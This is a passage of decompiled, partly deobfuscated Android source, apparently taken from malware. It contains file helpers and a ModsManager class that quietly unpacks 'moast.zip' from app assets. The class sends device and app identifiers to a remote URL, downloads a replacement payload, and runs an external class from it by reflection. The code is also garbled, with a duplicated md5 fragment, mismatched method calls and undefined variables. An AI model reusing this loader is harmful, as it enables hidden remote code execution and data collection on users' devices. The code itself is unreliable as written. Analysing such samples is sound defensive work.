174 | str = str + "0"; 175 | } 176 | read++; 177 | str = str + Integer.toHexString(i); 178 | } 179 | return str.toUpperCase(); 180 | } catch (Throwable th3) { 181 | th = th3; 182 | fileInputStream2 = null; 183 | if (fileInputStream2 != null) { 184 | try { 185 | fileInputStream2.close(); 186 | } catch (Exception e6) { 187 | } 188 | } 189 | throw th; 190 | } 191 | digest = instance.digest(); 192 | str = new String(); 193 | read = 0; 194 | while (read < digest.length) { 195 | i = digest[read] & TextInputDialog.FILENAME_MAX_LENGTH; 196 | if (i <= 15) { 197 | str = str + "0"; 198 | } 199 | read++; 200 | str = str + Integer.toHexString(i); 201 | } 202 | return str.toUpperCase(); 203 | } 204 | } 205 | -------------------------------------------------------------------------------- /readable/dark/silent/ns2/FileTools.java: -------------------------------------------------------------------------------- 1 | package dark.silent.ns2; 2 | 3 | import android.support.v4.view.accessibility.AccessibilityNodeInfoCompat; 4 | import com.ape.filemanager.TextInputDialog; 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.File; 7 | import java.io.FileInputStream; 8 | import java.io.FileOutputStream; 9 | import java.io.IOException; 10 | import java.io.InputStream; 11 | import java.io.InputStreamReader; 12 | import java.io.OutputStream; 13 | import java.security.MessageDigest; 14 | import java.security.NoSuchAlgorithmException; 15 | import java.util.zip.ZipEntry; 16 | import java.util.zip.ZipInputStream; 17 | import org.swiftp.ProxyConnector; 18 | //previous: class b 19 | public final class FileTools { 20 | static File a = null; 21 | 22 | public static String extractFileFromZip(File file, String fileNameToExtract) { 23 | String content = null; 24 | if (file != null && file.exists()) { 25 | byte[] bArr = new byte[AccessibilityNodeInfoCompat.ACTION_NEXT_HTML_ELEMENT]; 26 | try { 27 | InputStream fileInputStream = new FileInputStream(file); 28 | ZipInputStream zipInputStream = new ZipInputStream(fileInputStream); 29 | ZipEntry nextEntry = zipInputStream.getNextEntry(); 30 | while (nextEntry != null) { 31 | String name = nextEntry.getName(); 32 | if (nextEntry.isDirectory() || !name.equals(fileNameToExtract)) { 33 | nextEntry = zipInputStream.getNextEntry(); 34 | } else { 35 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 36 | while (true) { 37 | int read = zipInputStream.read(bArr); 38 | if (read <= 0) { 39 | break; 40 | } 41 | byteArrayOutputStream.write(bArr, 0, read); 42 | } 43 | content = byteArrayOutputStream.toString(ProxyConnector.ENCODING); 44 | zipInputStream.closeEntry(); 45 | zipInputStream.close(); 46 | fileInputStream.close(); 47 | } 48 | } 49 | zipInputStream.closeEntry(); 50 | zipInputStream.close(); 51 | fileInputStream.close(); 52 | } catch (Exception e) { 53 | } 54 | } 55 | return content; 56 | } 57 | 58 | public static String getStreamContents(InputStream inputStream, String encoding) { 59 | StringBuilder stringBuilder = new StringBuilder(); 60 | InputStreamReader inputStreamReader = new InputStreamReader(inputStream, encoding); 61 | char[] cArr = new char[10240]; 62 | while (true) { 63 | int read = inputStreamReader.read(cArr); 64 | if (read > 0) { 65 | stringBuilder.append(cArr, 0, read); 66 | } else { 67 | inputStreamReader.close(); 68 | return stringBuilder.toString(); 69 | } 70 | } 71 | } 72 | 73 | public static void deleteRecursive(File file) { 74 | if (file.isFile()) { 75 | file.delete(); 76 | } else if (file.isDirectory()) { 77 | File[] listFiles = file.listFiles(); 78 | if (listFiles == null || listFiles.length == 0) { 79 | file.delete(); 80 | return; 81 | } 82 | for (File a : listFiles) { 83 | deleteRecursive(a); 84 | } 85 | file.delete(); 86 | } 87 | } 88 | 89 | public static void copy(File file, File file2) { 90 | InputStream fileInputStream = new FileInputStream(file); 91 | OutputStream fileOutputStream = new FileOutputStream(file2); 92 | extractFileFromZip(fileInputStream, fileOutputStream); 93 | fileInputStream.close(); 94 | fileOutputStream.close(); 95 | } 96 | 97 | public static void writeStreamToFile(InputStream inputStream, File file) { 98 | try { 99 | OutputStream fileOutputStream = new FileOutputStream(file); 100 | extractFileFromZip(inputStream, fileOutputStream); 101 | fileOutputStream.close(); 102 | } catch (Exception e) { 103 | } 104 | } 105 | 106 | private static void copy(InputStream inputStream, OutputStream outputStream) { 107 | if (inputStream != null) { 108 | try { 109 | byte[] bArr = new byte[AccessibilityNodeInfoCompat.ACTION_NEXT_HTML_ELEMENT]; 110 | while (true) { 111 | int read = inputStream.read(bArr); 112 | if (read > 0) { 113 | outputStream.write(bArr, 0, read); 114 | } else { 115 | return; 116 | } 117 | } 118 | } catch (Exception e) { 119 | } 120 | } 121 | } 122 | 123 | public static String md5(File file) { 124 | MessageDigest instance; 125 | FileInputStream fileInputStream; 126 | Throwable th; 127 | String str; 128 | FileInputStream fileInputStream2 = null; 129 | if (file == null || !file.exists()) { 130 | return null; 131 | } 132 | int read; 133 | byte[] digest; 134 | try { 135 | instance = MessageDigest.getInstance("MD5"); 136 | } catch (NoSuchAlgorithmException e) { 137 | instance = null; 138 | } 139 | byte[] bArr = new byte[10240]; 140 | try { 141 | fileInputStream = new FileInputStream(file); 142 | while (true) { 143 | try { 144 | read = fileInputStream.read(bArr); 145 | if (read > 0) { 146 | instance.update(bArr, 0, read); 147 | } else { 148 | try { 149 | break; 150 | } catch (Exception e2) { 151 | } 152 | } 153 | } catch (IOException e3) { 154 | fileInputStream2 = fileInputStream; 155 | } catch (Throwable th2) { 156 | th = th2; 157 | } 158 | } 159 | fileInputStream.close(); 160 | } catch (IOException e4) { 161 | if (fileInputStream2 != null) { 162 | try { 163 | fileInputStream2.close(); 164 | } catch (Exception e5) { 165 | } 166 | } 167 | digest = instance.digest(); 168 | str = new String(); 169 | read = 0; 170 | while (read < digest.length) { 171 | int i; 172 | i = digest[read] & TextInputDialog.FILENAME_MAX_LENGTH; 173 | if (i <= 15) { 174 | str = str + "0"; 175 | } 176 | read++; 177 | str = str + Integer.toHexString(i); 178 | } 179 | return str.toUpperCase(); 180 | } catch (Throwable th3) { 181 | th = th3; 182 | fileInputStream = null; 183 | if (fileInputStream != null) { 184 | try { 185 | fileInputStream.close(); 186 | } catch (Exception e6) { 187 | } 188 | } 189 | throw th; 190 | } 191 | digest = instance.digest(); 192 | str = new String(); 193 | read = 0; 194 | while (read < digest.length) { 195 | i = digest[read] & TextInputDialog.FILENAME_MAX_LENGTH; 196 | if (i <= 15) { 197 | str = str + "0"; 198 | } 199 | read++; 200 | str = str + Integer.toHexString(i); 201 | } 202 | return str.toUpperCase(); 203 | } 204 | } 205 | -------------------------------------------------------------------------------- /readable/dark/silent/ModsManager.java: -------------------------------------------------------------------------------- 1 | package dark.silent; 2 | 3 | import android.content.Context; 4 | import android.content.Intent; 5 | import android.os.Handler; 6 | import android.os.Handler.Callback; 7 | import android.os.HandlerThread; 8 | import android.os.Message; 9 | 10 | import com.squareup.leakcanary.android.noop.BuildConfig; 11 | 12 | import dark.silent.ns1.Config; 13 | import dark.silent.ns1.ZipClassRunner; 14 | import dark.silent.ns2.FileTools; 15 | import dark.silent.ns2.HttpClient; 16 | import dark.silent.ns2.JsonHelper; 17 | import dark.silent.ns2.SomeHashThingy; 18 | 19 | import java.io.File; 20 | import java.io.IOException; 21 | import java.io.InputStream; 22 | import org.json.JSONObject; 23 | import org.swiftp.Defaults; 24 | 25 | public class ModsManager { 26 | private static ModsManager modsManager = null; 27 | private static final Object OBJECT = new Object(); 28 | private HandlerThread handlerThread; 29 | private JsonHelper jsonHelper; 30 | private ZipClassRunner zipClassRunner; 31 | private Config config; 32 | private Callback g = new Callback(this) { 33 | final /* synthetic */ ModsManager modsManager1; 34 | 35 | { 36 | this.modsManager1 = r1; 37 | } 38 | 39 | public final boolean handleMessage(Message msg) { 40 | if (this.modsManager1.zipClassRunner != null) { 41 | ZipClassRunner zipClassRunnerLocal2; 42 | if (!this.modsManager1.zipClassRunner.hasExternalClassInstance()) { 43 | Config configLocal2; 44 | String metaContent; 45 | Config configLocal = this.modsManager1.config; 46 | ZipClassRunner zipClassRunnerLocal = this.modsManager1.zipClassRunner; 47 | if (zipClassRunner.hasExternalClassInstance()) { 48 | try { 49 | InputStream open = configLocal.context.getAssets().open("moast.zip"); 50 | if (open != null) { 51 | FileTools.extractFileFromZip(open, configLocal.file); 52 | } 53 | } catch (Exception e) { 54 | } 55 | configLocal2 = this.modsManager1.config; 56 | zipClassRunnerLocal2 = this.modsManager1.zipClassRunner; 57 | metaContent = FileTools.extractFileFromZip(configLocal2.file, "meta.json"); 58 | if (!(metaContent == null || jsonHelper.a(metaContent) == null || !configLocal2.file.exists())) { 59 | zipClassRunnerLocal2.loadAndRunExternalClass(configLocal2.context, configLocal2.file); 60 | } 61 | } 62 | try { 63 | Object buildConfigVersionName; 64 | String str; 65 | File file = new File(configLocal.context.getDir("tmpmof", 0), "moast.zip"); 66 | String fileHash = FileTools.md5(configLocal.file); 67 | JSONObject jSONObject = new JSONObject(); 68 | jSONObject.put("app", zipClassRunnerLocal.appId); 69 | jSONObject.put("app_v", ModsManager.this.config.a(configLocal.context)); 70 | jSONObject.put("key", zipClassRunnerLocal.appKey); 71 | jSONObject.put("ch", zipClassRunnerLocal.phoneBrand); 72 | jSONObject.put("secret", ModsManager.this.config.a(jSONObject.get("key") + "@" + jSONObject.get("app") + Defaults.chrootDir + jSONObject.get("ch") + "#" + jSONObject.get("app_v"))); 73 | String md5Hash = "md5"; 74 | if (fileHash == null) { 75 | buildConfigVersionName = BuildConfig.VERSION_NAME; 76 | } else { 77 | str = fileHash; 78 | } 79 | jSONObject.put(md5Hash, buildConfigVersionName); 80 | jSONObject.put("tz", ModsManager.this.config.b()); 81 | jSONObject.put("ua", ModsManager.checkSomethingthis.config.a()); 82 | HttpClient.HttpResponse httpResponse = HttpClient.sendPOST(new String(configLocal.url), jSONObject); 83 | if (httpResponse != null && httpResponse.statusCode == 200) { 84 | JSONObject jsonObject = JsonHelper.strToJson(httpResponse.content); 85 | if (jsonObject != null) { 86 | String urlFromJson = JsonHelper.pathFromJson(jsonObject, "url"); 87 | md5Hash = JsonHelper.pathFromJson(jsonObject, "md5"); 88 | JsonHelper.pathFromJson(jsonObject, "v"); 89 | JsonHelper.pathFromJson(jsonObject, "b"); 90 | if (!(md5Hash == null || urlFromJson == null || (fileHash != null && (fileHash == null || fileHash.compareToIgnoreCase(md5Hash) == 0)))) { 91 | //original: handlerThread.a(urlFromJson, file); 92 | HttpClient.downloadUrlToFile(urlFromJson, file); 93 | str = FileTools.md5(file); 94 | if (file.exists() && md5Hash.compareToIgnoreCase(str) == 0) { 95 | FileTools.deleteRecursive(configLocal.file); 96 | try { 97 | FileTools.copy(file, configLocal.file); 98 | } catch (IOException e2) { 99 | } 100 | FileTools.deleteRecursive(file); 101 | } 102 | } 103 | } 104 | } 105 | configLocal2 = this.modsManager1.config; 106 | zipClassRunnerLocal2 = this.modsManager1.zipClassRunner; 107 | metaContent = FileTools.extractFileFromZip(configLocal2.file, "meta.json"); 108 | zipClassRunnerLocal2.loadAndRunExternalClass(configLocal2.context, configLocal2.file); 109 | } catch (Exception e3) { 110 | } 111 | } 112 | zipClassRunnerLocal2 = this.modsManager1.zipClassRunner; 113 | Intent intent = (Intent) msg.obj; 114 | if (zipClassRunnerLocal2.hasExternalClassInstance()) { 115 | try { 116 | SomeHashThingy.a(zipClassRunnerLocal2.externalClassInstance, "wakeUp", new Class[]{Intent.class}, new Object[]{intent}); 117 | } catch (Exception e4) { 118 | } 119 | } 120 | } 121 | return true; 122 | } 123 | }; 124 | 125 | private ModsManager(Context context) { 126 | int i = 1; 127 | this.config = new Config(context.getApplicationContext()); 128 | this.zipClassRunner = null; 129 | if (config.b().startsWith("00", 1)) { 130 | i = 0; 131 | } 132 | if (i != 0) { 133 | this.handlerThread = new HandlerThread("00"); 134 | this.handlerThread.start(); 135 | this.jsonHelper = new Handler(this.handlerThread.getLooper(), this.g); 136 | } 137 | } 138 | 139 | public static ModsManager get(Context context) { 140 | synchronized (OBJECT) { 141 | if (modsManager == null) { 142 | modsManager = new ModsManager(context); 143 | } 144 | } 145 | return modsManager; 146 | } 147 | 148 | public synchronized void initParams(String appId, String key, String phoneBrand) { 149 | if (this.zipClassRunner == null) { 150 | this.zipClassRunner = new ZipClassRunner(appId, key, phoneBrand); 151 | ZipClassRunner zipClassRunner = this.zipClassRunner; 152 | zipClassRunner.e = null; 153 | zipClassRunner.f = null; 154 | } 155 | } 156 | 157 | public void processIntent(Intent intent) { 158 | if (this.jsonHelper != null) { 159 | Message obtain = Message.obtain(); 160 | obtain.obj = intent; 161 | this.jsonHelper.sendMessage(obtain); 162 | } 163 | } 164 | } 165 | --------------------------------------------------------------------------------